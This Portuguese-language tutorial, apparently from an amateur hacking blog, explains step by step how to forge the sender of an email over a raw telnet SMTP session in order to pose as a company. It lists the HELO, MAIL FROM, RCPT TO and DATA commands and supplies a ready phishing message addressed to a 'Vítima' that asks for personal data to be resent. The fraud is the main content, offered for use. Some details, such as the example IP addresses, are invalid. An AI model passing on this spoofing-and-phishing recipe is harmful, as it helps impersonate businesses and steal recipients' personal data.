Existem diversas maneiras de se Fraudar o destinário de um email, e se passar por uma empresa especifica. O que iremos tratar aqui nessa matéria é o envio destes via Telnet (ferramenta inclusa no Windows - MS-DOS).


Experimentando a técnica

Vamos brincar de ser Hacker? Faremos uma experiência, e, claro, você vai usar o seu email pra fazer tal (também será necessário que se conheça um pouco do MS-DOS do Windows). Para isso tudo o que precisamos é saber o nome do servidor ou seu endereço IP, e que normalmente um servidor de correio espera conexões na porta 25.

Primeiro abra o MS-DOS do Windows: Iniciar > Executar > cmd

Agora, na telinha negra que surgiu, devemos digitar o servidor para nos conectarmos.

Temos como exemplo o seguinte servidor (fictício): smtp.nomedoservidor.com.br, ou o IP 300.200.100.50, então os comandos deverão ser apresentados da seguinte maneira:

telnet smtp.nomedoservidor.com.br 25 ou telnet 300.200.100.50 25

Os servidores são esses sites que fornecem serviço de email, tais como Yahoo, Hotmail e Gmail
Se você for usar um destes sites na sua experiência, terá que ter a seguinte síntese:
Exemplo: telnet smtp.gmail.com 25 ou use o IP do site no lugar do nome, como vimos acima (se você preferir).

Nota: para pegar o endereço IP de um site é necessário que antes de seguir os passos dessa matéria, você digite o seguinte no MS-DOS: ping nomedosite.com.br. Você irá obter algo parecido com:

  1. Disparando contra 999.999.999.99 [0 bytes perdidos]
  2. Disparando contra 999.999.999.99 [0 bytes perdidos]
  3. Disparando contra 999.999.999.99 [0 bytes perdidos]

Onde no lugar de
"999.999.999.99" será o endereço IP do site.

Depois de escolher o método, aplique. Quando o servidor responder, dê o seguinte comando:

helo smtp.nomedoservidor.com.br

Você obterá uma resposta semelhante a esta (com algumas mensagens a mais):

Pleased to meet you

Ou algo parecido.

Logo você deve digitar:

mail from: seunome@seudominio

Depois:

rcpt to: nomedodestinatario@dominio-do-destinatario

Por fim:

DATA

E depois escreva o cabeçalho e o conteúdo da mensagem separados por uma linha em branco

To: Vítima
From: GH

Subject: Atualização de cadastro

Senhor(a) Fulano de tal,

Necessitamos que atualize seu cadastro.

Você deverá fornecer novamente seus dados.

Envie tudo para: ??????@?????.???.??.

Atenciosamente, tal empresa.

Observe que a mensagem terminou com um ponto sozinho na última linha. É assim que o servidor de correio descobre que a mensagem acabou. Você pode enviar mais uma mensagem usando os comandos acima ou terminar a conexão digitando o comando: quit.

Até a próxima matéria pessoal! ;)

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